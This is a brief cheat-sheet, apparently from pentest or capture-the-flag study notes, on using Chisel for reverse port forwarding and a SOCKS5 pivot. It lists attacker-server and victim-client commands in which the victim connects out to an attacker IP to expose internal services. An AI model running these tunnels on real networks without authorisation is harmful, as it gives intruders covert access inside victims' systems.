Chisel

Chisel

DefiniciĆ³n

Chisel is a tool located at github, with which we can do port forwarding.

overview

Port Forwarding

Usage

  • Attacker:
    • chisel server --reverse --port <chisel port>
  • Victim:
    • chisel client <Attacker IP>:<Chisel port> R:<Service Port at Attacker Host>:<IP where the victim accesss (it can be loopback)>:<Service Port>

Example

  • Attacker:
    • chisel server --reverse --port 1234
  • Victim:
    • chisel client 10.10.14.14:1234 R:8888:127.0.0.1:8888

Dynamic Port Forwarding (proxy)

Same as -D option in ssh but with chisel

  • Attacker:
    • chisel server --reverse --port 1234 --socks5
  • Victim:
    • chisel client 10.10.14.14:1234 R:socks

And then chisel will start a SOCK5 proxy in 127.0.0.1:1080